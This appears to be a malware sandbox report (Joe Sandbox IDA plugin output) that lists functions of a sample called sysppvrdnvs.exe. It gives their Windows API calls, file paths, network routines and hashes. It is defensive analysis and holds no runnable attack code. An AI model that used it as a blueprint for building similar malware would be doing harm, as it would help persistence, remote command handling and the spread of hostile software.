Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 03a63f419c221d19dc1f4a22be05731f57d92fe9a42c49428073284f968a398b
Instruction ID: bd9536bbadbf21864e97b89de5b907373c0f6f38ddabaab6f1c3dd09ba998754
Opcode Fuzzy Hash: 03a63f419c221d19dc1f4a22be05731f57d92fe9a42c49428073284f968a398b
Instruction Fuzzy Hash: C7211AB1940308FBEB109BA0DD49FEE7B78EB04711F14852AF601BA1D0DBB99544CF69

Function 0040F240 Relevance: 16.6, APIs: 11, Instructions: 144
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040F272
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040F293
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040F2B2
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F2CB
memcmp.NTDLL ref: 0040F35D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040F380
CloseHandle.KERNEL32(00000000), ref: 0040F38A
CloseHandle.KERNEL32(000000FF), ref: 0040F394
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F3B3
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040F3D8
CloseHandle.KERNEL32(000000FF), ref: 0040F3E2

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID:
API String ID: 3902698870-0
Opcode ID: 4db5bbf808ca6209af07bc620d99265e856426a218e6ae7e28e736729e861070
Instruction ID: 91565a6fedc79cda49cfd97bae5198494bb6489b7e374c7f74ac69d8e3e388a5
Opcode Fuzzy Hash: 4db5bbf808ca6209af07bc620d99265e856426a218e6ae7e28e736729e861070
Instruction Fuzzy Hash: 75514BB4E40308FBDB24DBA4CC49F9EB774AB48304F108569F611B72C0D7B9AA44CB98

Function 0040DD50 Relevance: 16.6, APIs: 11, Instructions: 95
threadsleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0040DD56
GetThreadPriority.KERNEL32(00000000,?,?,?,00408480,02DE0638,000000FF), ref: 0040DD5D
GetCurrentThread.KERNEL32 ref: 0040DD68
SetThreadPriority.KERNEL32(00000000,?,?,?,00408480,02DE0638,000000FF), ref: 0040DD6F
InterlockedExchangeAdd.KERNEL32(00408480,00000000), ref: 0040DD92
EnterCriticalSection.KERNEL32(000000FB), ref: 0040DDC7
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040DE12
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040DE2E
Sleep.KERNEL32(00000001), ref: 0040DE5E
GetCurrentThread.KERNEL32 ref: 0040DE6D
SetThreadPriority.KERNEL32(00000000,?,?,?,00408480), ref: 0040DE74

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction ID: 15ec6ce41066bd2df298828df26a4308ea05a03792f046612c1f6ffbd780898a
Opcode Fuzzy Hash: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction Fuzzy Hash: 1B412C74E00209DBDB04DFE4D844BAEBB71FF54315F108169E916AB381D7789A84CF99

Function 0040BC70 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(004165F8,?,?,?,?,?,?,00408403), ref: 0040BC7B
CreateFileW.KERNEL32(C:\Users\user\tbtnds.dat,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040BCCD
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040BCEE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040BD0D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040BD22
UnmapViewOfFile.KERNEL32(00000000), ref: 0040BD88
CloseHandle.KERNEL32(00000000), ref: 0040BD92
CloseHandle.KERNEL32(000000FF), ref: 0040BD9C

Part of subcall function 0040DF20: NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
Part of subcall function 0040DF20: RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Strings

C:\Users\user\tbtnds.dat, xrefs: 0040BCC8

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: C:\Users\user\tbtnds.dat
API String ID: 439099756-3213863656
Opcode ID: ccc133b3a2719448c357ee090de33a9a253bd19a1288fb5d1e4dd52cd71b561e
Instruction ID: 789285c27e92e60cc42243599a26330008c438e37824d2da8ff51af530b364ad
Opcode Fuzzy Hash: ccc133b3a2719448c357ee090de33a9a253bd19a1288fb5d1e4dd52cd71b561e
Instruction Fuzzy Hash: 0F413A74E40309EBDB10EBA4DC4ABAEB774EB44705F20856AF6117A2C1C7B96941CB9C

Function 00405C00 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(00415B88,?,?,?,?,?,004083CD), ref: 00405C0B
CreateFileW.KERNEL32(C:\Users\user\tbtcmds.dat,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,004083CD), ref: 00405C25
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405C46
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405C65
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405C7E
UnmapViewOfFile.KERNEL32(00000000), ref: 00405D0B
CloseHandle.KERNEL32(00000000), ref: 00405D15
CloseHandle.KERNEL32(000000FF), ref: 00405D1F

Strings

C:\Users\user\tbtcmds.dat, xrefs: 00405C20

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID: C:\Users\user\tbtcmds.dat
API String ID: 3956458805-1042172597
Opcode ID: 974004ace8664300cc06a05cec65fa0b1c2f2106c5fa1c12cbbfe4d81678685e
Instruction ID: 999418e1eeb904d95552c7fd1475d0c30f1e1fd8627807f9f1e65d0b0efdc9c4
Opcode Fuzzy Hash: 974004ace8664300cc06a05cec65fa0b1c2f2106c5fa1c12cbbfe4d81678685e
Instruction Fuzzy Hash: DE310E74E40209EBDB14DBA4DC49FAFB774EB48700F20856AE6017B2C0D7B96941CF99

Function 0040F400 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040F40E
memset.NTDLL ref: 0040F41E
CreateProcessW.KERNEL32(00000000,00407D11,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040F457
Sleep.KERNEL32(000003E8), ref: 0040F467
ShellExecuteW.SHELL32(00000000,open,00407D11,00000000,00000000,00000000), ref: 0040F482
Sleep.KERNEL32(000003E8), ref: 0040F49C

Strings

D, xrefs: 0040F426
, xrefs: 0040F491
open, xrefs: 0040F47B

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: 86490e0f5312193f556b58b4939b15177e1386a4ac5e4b01298813237b5ed1b8
Instruction ID: 03d024a0b9a73c413bf1553ab10d0ee3a8ab15297eec0ef6a9417e1ec1830951
Opcode Fuzzy Hash: 86490e0f5312193f556b58b4939b15177e1386a4ac5e4b01298813237b5ed1b8
Instruction Fuzzy Hash: ED112B71A80308BAEB209B90CD46FDE7778AB14B10F204135FA047E2C0D6B9AA448759

Function 004060A0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 176
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(00415B88,00000000,0040C2A2,006A0266,?,0040C2BE,00000000,0040D66C,?), ref: 004060AF
memcpy.NTDLL(?,00000000,00000100), ref: 00406141
CreateFileW.KERNEL32(C:\Users\user\tbtcmds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00406265
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 004062C7
FlushFileBuffers.KERNEL32(000000FF), ref: 004062D3
CloseHandle.KERNEL32(000000FF), ref: 004062DD
LeaveCriticalSection.KERNEL32(00415B88,?,?,?,?,?,?,0040C2BE,00000000,0040D66C,?), ref: 004062E8

Strings

C:\Users\user\tbtcmds.dat, xrefs: 00406260

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID: C:\Users\user\tbtcmds.dat
API String ID: 1457358591-1042172597
Opcode ID: 473e882c89c664cfdcd286b03a5016877069028d52e26d7ad4cadbb5d95af1e0
Instruction ID: a605c5c2860c2acc1241a09a2373603bf375adc509756cd8cb030c585388e075
Opcode Fuzzy Hash: 473e882c89c664cfdcd286b03a5016877069028d52e26d7ad4cadbb5d95af1e0
Instruction Fuzzy Hash: D171BCB4E042099FCB04DF94D981FEFB7B1AF88304F14816DE506AB381D779A951CBA9

Function 0040E310 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040E35E
Sleep.KERNEL32(000003E8), ref: 0040E36E
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040E38B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040E3A1
StrChrA.SHLWAPI(?,0000000D), ref: 0040E3CE

Strings

LOCATION: , xrefs: 0040E395
HTTP/1.1 200 OK, xrefs: 0040E37F

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: adc9e1b642c8ef13301026d6139dd454e63dc363d970614d04e973e17512e1fe
Instruction ID: e67ba9521a541be798431772fb319970cc3d6429c6b3b7a9c3ce28b53cac335a
Opcode Fuzzy Hash: adc9e1b642c8ef13301026d6139dd454e63dc363d970614d04e973e17512e1fe
Instruction Fuzzy Hash: 5E2130B0940218ABDB20CB65DC45BE9BB74AB04308F1085E9EB19B72C0D7B95AD6CF5D

Function 0040F4B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040F4C7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F4E6
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040F50F
InternetCloseHandle.WININET(00000000), ref: 0040F538
InternetCloseHandle.WININET(00000000), ref: 0040F542
Sleep.KERNEL32(000003E8), ref: 0040F54D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040F4C2

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
API String ID: 2743515581-2960703779
Opcode ID: eac7a16544c45e3c29eec32ac406d7a69024a54342cccca2c138cb753e28bf4a
Instruction ID: af5d65e8d2fa993cc87ce820da5284d466d7432e490674ab1d3698c460306143
Opcode Fuzzy Hash: eac7a16544c45e3c29eec32ac406d7a69024a54342cccca2c138cb753e28bf4a
Instruction Fuzzy Hash: E7212975A40308BBDB20DF94CC49FEEB7B5AB04705F1084A5EA11AB2C0C7B9AA84CB55

Function 0040B530 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(C:\Users\user\tbtnds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040B5C8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040B5E9
FlushFileBuffers.KERNEL32(000000FF), ref: 0040B5F3
CloseHandle.KERNEL32(000000FF), ref: 0040B5FD
InterlockedExchange.KERNEL32(00414FB0,0000003D), ref: 0040B60A

Strings

C:\Users\user\tbtnds.dat, xrefs: 0040B5C3

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID: C:\Users\user\tbtnds.dat
API String ID: 442028454-3213863656
Opcode ID: 3151d336ff3ea58e3689bb3ae90e4ef78bf08bbeca3ebf0d4b51fe39718170bb
Instruction ID: a0ca425d267a8141d5e1d1f6c90da30668f0d4feb664184cc2dbb6b4fe126232
Opcode Fuzzy Hash: 3151d336ff3ea58e3689bb3ae90e4ef78bf08bbeca3ebf0d4b51fe39718170bb
Instruction Fuzzy Hash: 93312BB4A00208EBCB14DF94DC45FAEB775FB88304F208969E51567390D775AA41CF99

Function 004077F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0040786D
Sleep.KERNEL32(000003E8), ref: 0040789C
wsprintfA.USER32 ref: 004078C7
DeleteUrlCacheEntry.WININET(?), ref: 004078D7
Sleep.KERNEL32(000DBBA0), ref: 0040791F

Strings

%s%s, xrefs: 004078BB

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: 0f885536a534958de828f6dadf3c238a14188cbeabebc74b6a6376721a3f9b9c
Instruction ID: a96cc5071c69656b1b6f4b00c6699880e4d6530ea1aa1078cf67c052952084b8
Opcode Fuzzy Hash: 0f885536a534958de828f6dadf3c238a14188cbeabebc74b6a6376721a3f9b9c
Instruction Fuzzy Hash: 643116B0C01218DFCB50DFA8DC887EDBBB4BB48304F1085AAE609B6290D7795AC4CF59

Function 004063E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 004063E6
RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406434
RegQueryValueExW.KERNEL32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406461
RegCloseKey.ADVAPI32(?), ref: 0040647E

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00406427
NoDrives, xrefs: 00406458

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: dded7858fb8d287b6bf9178ccf4275851236264e48071ce0b3ae741169170e3e
Instruction ID: 87cba227ccd7b938b07588cb79f30f32aa16a0fd6c84a7572e83495dfcaef010
Opcode Fuzzy Hash: dded7858fb8d287b6bf9178ccf4275851236264e48071ce0b3ae741169170e3e
Instruction Fuzzy Hash: D311FCB0E0020A9BDB10CFD0D945BEEBBB4BB08304F118119E615B7280D7B85685CF99

Function 0040DBE0 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040DC04

Part of subcall function 0040DCD0: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040DD10
Part of subcall function 0040DCD0: CloseHandle.KERNEL32(?), ref: 0040DD29

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040DC5F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040DC9C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040DCA7
DuplicateHandle.KERNEL32(00000000), ref: 0040DCAE
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040DCC2

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 2e6c4f739912ed2bc0a02cfb396969f5dbba436efce4c3680658a262bb647ab9
Instruction ID: 271f69a92097b1b74c70525479ef463fb32d1143369d808ec26f6a45d53993ac
Opcode Fuzzy Hash: 2e6c4f739912ed2bc0a02cfb396969f5dbba436efce4c3680658a262bb647ab9
Instruction Fuzzy Hash: 8D31FA74A00208EFDB04DF98D889B9E7BB5EF48314F0085A8E906A7391D774EA95CF94

Function 00407720 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00407726
srand.MSVCRT ref: 0040772D
rand.MSVCRT ref: 00407735
Sleep.KERNEL32 ref: 00407746
StrChrA.SHLWAPI(00000000,0000007C), ref: 0040776C
Sleep.KERNEL32(000003E8), ref: 0040779D

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleep$CountTickrandsrand
String ID:
API String ID: 3488799664-0
Opcode ID: 95932355324cd33d74b870fd3c13360e694d795896d581ce62ec288b395a73ba
Instruction ID: d526f444081091d18ff5343ef40ffd9a09f2c1e6f6858c3ecb06089bc02b22b2
Opcode Fuzzy Hash: 95932355324cd33d74b870fd3c13360e694d795896d581ce62ec288b395a73ba
Instruction Fuzzy Hash: 1F21A479E00208FBC704DF60D885AAE7B31AB45304F10C47AE9026B381D679BA80CB56

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: b069b6341f395dab984beb8928ef2dc1d0a12e44db74397201ebfa712d18ea75
Instruction ID: 05dd75d8116292c76d11c3cc90d45d23dbf78b8bb9632d9a28891a4d74dcab7a
Opcode Fuzzy Hash: b069b6341f395dab984beb8928ef2dc1d0a12e44db74397201ebfa712d18ea75
Instruction Fuzzy Hash: 0731B3762083009BC710DF69D880A9BBBF4AFC9714F04457EFD9897381D6349914C7AB

Function 00407390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,004083D7), ref: 00407398
SysAllocString.OLEAUT32(C:\Windows\sysppvrdnvs.exe), ref: 004073A3
CoUninitialize.OLE32 ref: 004073C8

Part of subcall function 004073E0: SysFreeString.OLEAUT32(00000000), ref: 004075F8

SysFreeString.OLEAUT32(00000000), ref: 004073C2

Strings

C:\Windows\sysppvrdnvs.exe, xrefs: 0040739E

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID: C:\Windows\sysppvrdnvs.exe
API String ID: 459949847-2879333202
Opcode ID: d549018ca7281a3a12c42c42db4c5aa0698fc19bb076c2a4b3e2f7f0a4b3168e
Instruction ID: 94d3ecd3e534f0c2973a063d63be5db40503c7f445082467247c405133df6831
Opcode Fuzzy Hash: d549018ca7281a3a12c42c42db4c5aa0698fc19bb076c2a4b3e2f7f0a4b3168e
Instruction Fuzzy Hash: FEE01275944208FBD7049FA0ED0EB9D77649B04341F1041A5FD05A22A1DAF56E80D755

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: e871f297b8ec647587383603dc2ce7d0bb970bcccd2ecc260039be8e6d46355a
